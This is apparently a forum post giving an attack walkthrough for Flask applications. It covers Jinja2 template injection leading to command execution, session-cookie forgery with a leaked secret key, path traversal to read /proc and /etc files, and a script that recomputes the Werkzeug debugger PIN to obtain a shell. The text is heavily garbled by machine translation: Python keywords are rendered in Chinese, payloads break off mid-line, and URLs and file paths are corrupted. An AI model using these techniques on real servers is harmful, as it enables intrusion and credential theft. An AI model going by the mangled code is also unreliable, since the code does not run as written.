H

Flask SSTI 利用方式探索

HackApt-37 Team已验证会员

黑客倉庫站長

贡献: 83%

Flask SSTI 利用方式探索​

python 语言基础​

在Python中,对象类是Python中所有类的基类。如果在定义类时未指定要继承的类,则默认情况下将继承对象类。每个类具有的魔术变量class表示当前类。
1
打印(''.__ class__)
20210311212452.png-water_print

每个类都有一个base属性列出其基础类:
20210311212639.png-water_print

列出所有基础类:__bases __
列出类的呼叫顺序:MRO
20210311212935.png-water_print

获取子类集合:''.类___________ [1] .__子类
接下来,寻找可以执行命令的子类:OS._Wrap_Close(133)
查找可用的变量和方法:''.类______________________________________________________________________________________
执行系统命令:''。
读取文件内容:''.__ class ________________________________________________________________________________________________

SSTI 简介 环境搭建​

模板​

具有统一样式的站点,其大多数页面样式都是一致的,但是每个页面上显示的内容都不同。如果所有逻辑都是在前端进行的,则无疑会影响响应效果和效率,这是非常不现实的。将所有逻辑放在后端都会导致太复杂,这在开始时很轻,最后很重。
模板的诞生是将显示与数据分开,以便前端员工可以专注于绩效设计,后端员工可以专注于业务逻辑,并简化代码的复杂性。模板技术是多种多样的,但是它们的本质是通过模板引擎生成最终的HTML代码。
烧瓶使用Jinja2作为模板引擎。 Jinja的语法非常简单,大约有几种类型:
1
2
3
4
{%.%}语句
{{{.}}模板输出的打印表达式(表达式)
{{#.#}} 评论
#. ##行语句

SSTI​

在SSTI漏洞点中,将执行{{x}}中的内容。
SSTI,也称为服务器端模板注入攻击。 Jinja2模板使用{}语法代表一个特殊占位符的变量。使用Jinja2渲染时,它将填充/替换这些特别占位符。但是,在目标汇编和渲染过程中,执行用户插入的恶意内容,这可能会导致诸如敏感信息泄漏,代码执行和getshell之类的问题。

环境搭建​

测试环境建筑:Ubuntu + Docker
环境:

敏感信息泄露导致身份伪造​

flask session 机制​

20200622114302.png-water_print

通过3个单独的段落,第一段实际上是基本64code之后的内容,但是删除了用于填充的均等符号。如果解码失败,则需要添加1-3个相等的符号才能完成它。中间内容是时间戳。如果时间戳超过烧瓶31天,则将其视为无效。最后一段是安全签名的结果,该签名通过SHA1操作使用会话数据,时间戳和烧瓶的SecretKey。
20200622142923.png-water_print

20200622143031.png-water_print

方法一​

此应用程序具有SSTI漏洞: /Hello
20200622144155.png-water_print

secret_key在配置下泄漏:
20200622144201.png-water_print

使用Blask-Unsign工具(使用PIP安装)的假饼干:
1
烧瓶- unsign -sign-cookie'{'balance': 6666}'-secret'7xrqrfvwmthmrzwgxlhcqrectqrectqlndq1odnvvdjkz'
20200622145634.png-water_print

20200622145651.png-water_print

方法二​

3http://127.0.0.0.1:8345/download?image=./././././././././././././proc/proc/self/novery
20200622150508.png-water_print

Flask PIN 码利用​

Flask PIN 码​

烧瓶调试应用程序在模式下提供了页面侧交互式调试工具,该工具与我们通常使用的Python命令行相同,也就是说,它为我们提供了交互式的网络侧面外壳。但是,生成引脚代码的规则是规则的,可以遵循,从而可以获取PIN代码,并且有很多方法可以在以后使用它们。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
来自Itertools进口链
可能_public_bits=[
“根”,#用户名
'flask.app',#modName
'烧瓶',#getAttr(app,'name',getAttr(app .__ class__,'name'))
'/usr/local/lib/python3.8/site-packages/flask/app.py'#getAttr(mod,'file',none),
这是给出的
private_bits=[
'345051575547'#str(uuid.getNode()),/sys/class/class/net/eth0/地址
'613CACD3857F425E9409E544DECE08DA',#GET_MACHINE_ID(), /etc /MACHINE-ID
这是给出的
h=hashlib.md5()
对于链中的位(可能是_public_bits,private_bits):
如果不是位:
继续
如果Isinstance(bit,str):
bit=bit.encode('utf-8')
h.update(bit)
H.Update(B'Cookiesalt')
cookie_name='__wzd' + h.hexdigest()[:20]
num=无
如果num是无:
h.update(b'pinalt')
num=('%09d'%int(h.hexdigest(),16))[:9]
RV=无
如果RV是无:
对于5、4、3:中的group_ize
如果len(num)%group_size==0:
rv=' - '。join(num [x:x + group_size] .rjust(group_size,'0')
对于x范围(0,len(num),group_size))
休息
其他:
rv=num
打印(RV)

脚本中 6 个参数的获取方法:​

username​

用户运行烧瓶,读取/etc /passwd之前

modname​

通常默认

app name​

通常默认

路径​

调试错误

网络地址​

读:/sys/class/class/net/eth0/地址
1
int('023:42:AC33:1333333333:02'.REPLECE(':',''),16),16),16)
20200622152622.png-water_print

机器码​

读:/etc/machine-id或/proc/self/cgroup
20200622152957.png-water_print

执行脚本​

20200622153235.png-water_print

20200622153404.png-water_print

20200622153639.png-water_print

SSTI 导致 RCE​

代码执行​

1
2
3
{在范围(10)%}中为i的%}
{%print(i)%}
{%endfor%}
20200622154036.png-water_print

python 魔法函数 + 内置函数​

魔法函数​

所谓的魔法方法是Python的高级语法,它允许您自定义类中的功能(函数名称的格式通常为x),并将它们绑定到类的特殊方法。例如,如果您在A类中自定义STR函数,则在调用str(a)并将返回相应的结果时,将自动调用str函数。在我们的日常使用中,我们通常可以使用init函数和del函数,这实际上是一种魔术功能。

内置函数​

在Python中输入帮助(内inins)以查看帮助。简而言之,这是Python随附的功能。
1
3http://127.0.0.0.1:8345/hello?name=\ {\ {\ {%22%22 ..
20200622160206.png-water_print
 
后退
顶部